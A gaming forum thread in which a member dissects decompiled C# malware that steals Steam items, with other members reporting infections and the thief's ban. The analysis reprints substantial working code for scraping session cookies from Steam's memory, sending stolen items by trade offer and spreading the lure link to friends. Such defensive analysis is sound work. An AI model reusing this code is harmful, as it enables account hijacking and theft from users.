Jump to content

steam hacked?

SAV1OUR

I've reported the dude, hope you guys're doing the same :) I'm doing some commentary now along with some more screenshots of the disassembled code.

 

BTW, I want to get into processor design and such. By any chance would you know how I could work on that?

I've always been kinda into it. Since I was a kid I've been into electronics, and at 10 I'd repaired my first laptop and installed an OS onto it. Since then I'd been into software as well.

I coincidentally found the study I do now, Embedded Systems Engineering, where I've learnt most of what I know. (I was going to do chemistry, can you imagine?)

All I can say is, try to orient yourself; see if there's any place you can go to to learn this kinda stuff. Then when the time for college is there, you'll know exactly where to go.

Link to comment
Share on other sites

Link to post
Share on other sites

Alright, so after disassembling the .scr, which is an exectuable, a couple posts back I found out it was a .NET C# application. This is great, because .NET is compiled during runtime using a JIT compiler.
This means we can view the code a lot clearer than the Assembly code I had going on earlier.
 
An application always starts in the Main() function.
The function for this piece of malware looks like this:

[STAThread]private static void Main(){    SteamWorker worker = new SteamWorker();    worker.addOffer("76561198125064394", "164798666", "Kodf_JPO");    worker.ParseSteamCookies();    if (worker.ParsedSteamCookies.Count > 0)    {        worker.getSessionID();        worker.addItemsToSteal("440,570,730,753", "753:gift;570:rare,legendary,immortal,mythical,arcana,normal,unusual,ancient,tool,key;440:unusual,hat,tool,key;730:tool,knife,pistol,smg,shotgun,rifle,sniper rifle,machinegun,sticker,key");        worker.SendItems("");        worker.initChatSystem();        worker.getFriends();        worker.sendMessageToFriends("WTF Dude? http://screen-pictures.com/img_012/");    }}

One thing here immediately stands out: the STEAM ID of our thief, and the message that you guys were receiving, Next to that we also see some very readable functions such as "addItemsToSteal".
However, we already saw that in my previous post. It's time to see how this pain in the butt works. I'll dissect the code line by line for you guys. I won't go into detail in all the classes, just the most interesting functions.
 
SteamWorker worker = new SteamWorker();
This creates on object, "worker" from the class "SteamWorker".

SteamWorker contains a collection of lists (friends, items that are of interest to our thief, and most interestingly, the Session/cookie that Steam uses to connect to your account.)
 
worker.addOffer("76561198125064394", "164798666", "Kodf_JPO");

As the name implies, it starts an offer to trade to the user with Steam ID 76561198125064394. The second number is a Trade ID, and the last string is a Trade Token.

The whole function looks like this:

public void addOffer(string Steam64ID, string tradeID, string tradeToken){    this.OffersList.Add(new string[] { Steam64ID, tradeID, tradeToken });}

So it's basically a wrapper to add the offer to a list of offers. I don't know why they use a list of offers, presumably so that it's reusable in other code.

 

worker.ParseSteamCookies();

This one is interesting. It latches onto steam and steals the cookies that it uses to hold the session ID. Steam uses this session ID to verify the user's logon. The malware is effectively logging in as the user without knowing his/her password.

The code looks like this:

public void ParseSteamCookies(){    Process[] processArray;    this.ParsedSteamCookies.Clear();    WinApis.SYSTEM_INFO input = new WinApis.SYSTEM_INFO();    while (input.minimumApplicationAddress.ToInt32() == 0)    {        WinApis.GetSystemInfo(out input);    }    IntPtr minimumApplicationAddress = input.minimumApplicationAddress;    long num = minimumApplicationAddress.ToInt32();    List<string> list = new List<string>();    processArray = processArray = Process.GetProcessesByName("steam");    Process process = null;    for (int i = 0; i < processArray.Length; i++)    {        try        {            foreach (ProcessModule module in processArray[i].Modules)            {                if (module.FileName.EndsWith("steamclient.dll"))                {                    process = processArray[i];                    continue;                }            }        }        catch        {        }    }    if (process != null)    {        IntPtr handle = WinApis.OpenProcess(0x410, false, process.Id);        WinApis.PROCESS_QUERY_INFORMATION processQuery = new WinApis.PROCESS_QUERY_INFORMATION();        IntPtr numberofbytesread = new IntPtr(0);        while (WinApis.VirtualQueryEx(handle, minimumApplicationAddress, out processQuery, 0x1c) != 0)        {            if ((processQuery.Protect == 4) && (processQuery.State == 0x1000))            {                byte[] buffer = new byte[processQuery.RegionSize];                WinApis.ReadProcessMemory(handle, processQuery.BaseAdress, buffer, processQuery.RegionSize, out numberofbytesread);                string str = Encoding.UTF8.GetString(buffer);                MatchCollection matchs = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(str);                if (matchs.Count > 0)                {                    foreach (Match match in matchs)                    {                        if (!list.Contains(match.Value))                        {                            list.Add(match.Value);                        }                    }                }            }            num += processQuery.RegionSize;            if (num >= 0x7fffffffL)            {                break;            }            minimumApplicationAddress = new IntPtr(num);        }        this.ParsedSteamCookies = list;        if (list.Count >= 2)        {            this.setCookies(false);        }        else        {            this.ParsedSteamCookies.Clear();            this.ParseSteamCookies();        }    }}

the code before "if (process != null)" is to determine if there is a steam process opened. The code after that reads the cookies out of steam's memory. It then adds the read information into it's own variables for easy access later on.

 

if (worker.ParsedSteamCookies.Count > 0)

The code after this if-statement only executes after there has been successfully stolen a session ID.

 

 Worker.getSessionID();

This steals the login session from the steam cookies we saw earlier. The whole code looks like this:
public void getSessionID(){    while (!SteamHttp.ObtainsessionID(this.cookiesContainer))    {    }    if (this.cookiesContainer.Count < 4)    {        this.cookiesContainer = new CookieContainer();        this.setCookies(true);        this.getSessionID();    }    else    {        this.sessionID = this.getCookieValue(this.cookiesContainer, "sessionid");    }}

 

worker.addItemsToSteal (Long list of item delimiters)

This is also interesting. The programmer obviously only wants rare items, so he passes on a long string of delimiters of descriptions of rare items for certain App IDs. In this case, App IDs are 440,570,730,753 meaning Games TF2, Dota 2, CS: GO, and something I couldn't find quick enough to be bothered. :P AddItemsToSteal really only calls AdItemsToList which gets the items a user has, using the stolen cookies and sending a webRequest to Steam, using the function getItems.

public List<string[]> GetItems(string steamID, string appID, string[] contexIds = null){    string str;    string str2;    List<string[]> whereINeedPut = new List<string[]>();    if (contexIds == null)    {        str = "profiles/" + steamID + "/inventory/json/" + appID + "/2/?trading=1&market=1";        str2 = SteamHttp.SteamWebRequest(this.cookiesContainer, str, null, "");        try        {            whereINeedPut = new inventoryjson().Parse(str2, "2");        }        catch        {            return null;        }    }    else    {        for (int i = 0; i < contexIds.Length; i++)        {            str = "profiles/" + steamID + "/inventory/json/" + appID + "/" + contexIds[i] + "/?trading=1&market=1";            str2 = SteamHttp.SteamWebRequest(this.cookiesContainer, str, null, "");            try            {                List<string[]> willinputed = new inventoryjson().Parse(str2, contexIds[i]);                this.addInList(ref whereINeedPut, willinputed);            }            catch            {            }        }    }    return ((whereINeedPut.Count > 0) ? whereINeedPut : null);}

After getting the user's items, the function AddItemsToList goes on to filter items by rarity and adds them to the list of items to steal.

 

worker.SendItems("");

The last interesting function if you ask me, obviously sends the stolen items. The function looks like this:
public void SendItems(string message = ""){    if (this.itemsToSteal != null)    {        List<string[][]> list = this.divideList(this.itemsToSteal, 0x100);        if (list != null)        {            for (int i = 0; i < this.OffersList.Count; i++)            {                for (int j = 0; j < 5; j++)                {                    int num3 = j + (i * 5);                    if (num3 >= list.Count)                    {                        break;                    }                    string items = this.prepareItems(list[num3]);                    if (this.sentItems(this.getCookieValue(this.cookiesContainer, "sessionid"), items, this.OffersList[i], message) != null)                    {                    }                }            }        }    }}

The function sentItems in there makes another webrequest using the user's session ID, and uses the Steam URL that steam itself uses to make the transaction. That function looks like this:

private string sentItems(string sessionID, string items, string[] Offer, string message = ""){    return SteamHttp.SteamWebRequest(this.cookiesContainer, "tradeoffer/new/send", "sessionid=" + sessionID + "&partner=" + Offer[0] + "&tradeoffermessage=" + Uri.EscapeDataString(message) + "&json_tradeoffer=" + Uri.EscapeDataString(string.Format("{5}\"newversion\":true,\"version\":2,\"me\":{5}\"assets\":[{3}],\"currency\":[],\"ready\":false{6},\"them\":{5}\"assets\":[],\"currency\":[],\"ready\":false{6}{6}", new object[] { sessionID, Offer[0], message, items, Offer[2], "{", "}" })) + "&trade_offer_create_params=" + Uri.EscapeDataString(string.Format("{0}\"trade_offer_access_token\":\"{2}\"{1}", "{", "}", Offer[2])), "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);}

After that, the damage is done and your precious items are stolen.

 

The rest of the malware does more of the same, really.

The last three lines:

worker.initChatSystem();worker.getFriends();worker.sendMessageToFriends("WTF Dude? http://screen-pictures.com/img_012/");

Access steam's chat functionality, get the friends from the list and sends all of them the message you've received.

 

Conclusion time

0/10 do not recommend.

Seriously now, though. The malware does not infect the system, it does not steal your steam password, but obviously it can never hurt to change it anyway.

I'm not sure if steam refreshes the session ID each log on or with a password change, so I'd recommend completely uninstalling Steam to be very sure that there's a new session ID, because it can, as seen, be used for bad things.

We need to alert Valve of this going on, so they can secure steam and their servers against this sort of abuse.

And also, the code is written as such that I don't think this was made for one thief; there are probably a lot more people with their own variation of this going around.

 

To Valve/Steam

There needs to be more verification whether the transaction is legitimate, and the Steam Program itself needs to be secured against this sort of hijacking.

 

Can we work together to get this message to Valve, guys?

 

Update:

Valve is working on fixing the problem

Link to comment
Share on other sites

Link to post
Share on other sites

Still clean. Surprised defender did not find it on the computers that had it. 

5800X3D - RTX 4070 - 2K @ 165Hz

 

Link to comment
Share on other sites

Link to post
Share on other sites

Got nothing on my side... Guess I wasn't dumb enough to click on a random link.

CPU: AMD Ryzen 3700x / GPU: Asus Radeon RX 6750XT OC 12GB / RAM: Corsair Vengeance LPX 2x8GB DDR4-3200
MOBO: MSI B450m Gaming Plus / NVME: Corsair MP510 240GB / Case: TT Core v21 / PSU: Seasonic 750W / OS: Win 10 Pro

Link to comment
Share on other sites

Link to post
Share on other sites

@ thats some serious coding right there! Dayum!

"an obvious supporter of privacy"

Link to comment
Share on other sites

Link to post
Share on other sites

BTW, I think he was already banned, I can't seem to find him, or I don't know his username.

"an obvious supporter of privacy"

Link to comment
Share on other sites

Link to post
Share on other sites

His item count really shows that he's a Dota 2 junky, he just wants more items and not money, wut...

"an obvious supporter of privacy"

Link to comment
Share on other sites

Link to post
Share on other sites

His item count really shows that he's a Dota 2 junky, he just wants more items and not money, wut...

Yeah once I saw that the deal was sealed for me; by then along with his STEAM ID appearing in the source code I had enough evidence that this guy was the one on the receiving end of all these thefts.

Link to comment
Share on other sites

Link to post
Share on other sites

Great work @. I did not get anything I guess I have no friends that have malware :)

Rig CPU Intel i5 3570K at 4.2 GHz - MB MSI Z77A-GD55 - RAM Kingston 8GB 1600 mhz - GPU XFX 7870 Double D - Keyboard Logitech G710+

Case Corsair 600T - Storage Intel 330 120GB, WD Blue 1TB - CPU Cooler Noctua NH-D14 - Displays Dell U2312HM, Asus VS228, Acer AL1715

 

Link to comment
Share on other sites

Link to post
Share on other sites

Yeah once I saw that the deal was sealed for me; by then along with his STEAM ID appearing in the source code I had enough evidence that this guy was the one on the receiving end of all these thefts.

Looks like they are community banned now so that means they can't trade anymore. Hopefully this will slow down the recent wave of phishing going on.  :)

yesterday's weirdness is tomorrow's reason why

Link to comment
Share on other sites

Link to post
Share on other sites

Looks like they are community banned now so that means they can't trade anymore. Hopefully this will slow down the recent wave of phishing going on.  :)

That's great to hear! I can't see it on his page, though. 

Link to comment
Share on other sites

Link to post
Share on other sites

Looks like they are community banned now so that means they can't trade anymore. Hopefully this will slow down the recent wave of phishing going on.  :)

Take that, bastard!

"an obvious supporter of privacy"

Link to comment
Share on other sites

Link to post
Share on other sites

I fucking got it....

|| MAELSTROM ||

|| i5 3570K W/ CM 212x @ 4GHz || r9 290 Windforce || Corsair Obsidian 450D || 2tb HDD + 120gb 840 evo SSD || 2x4gb Hyperx Fury Blue

 

 

Link to comment
Share on other sites

Link to post
Share on other sites

curiosity killed the pikachu

I did the same thing. It looked like a pic of a steam inventory

|| MAELSTROM ||

|| i5 3570K W/ CM 212x @ 4GHz || r9 290 Windforce || Corsair Obsidian 450D || 2tb HDD + 120gb 840 evo SSD || 2x4gb Hyperx Fury Blue

 

 

Link to comment
Share on other sites

Link to post
Share on other sites

Lol I got it from @Lanoi too.

got it from @SAV1OUR 

|| MAELSTROM ||

|| i5 3570K W/ CM 212x @ 4GHz || r9 290 Windforce || Corsair Obsidian 450D || 2tb HDD + 120gb 840 evo SSD || 2x4gb Hyperx Fury Blue

 

 

Link to comment
Share on other sites

Link to post
Share on other sites

He's stealing everybody's arcana items! Those things are worth $30ish each! 

Link to comment
Share on other sites

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×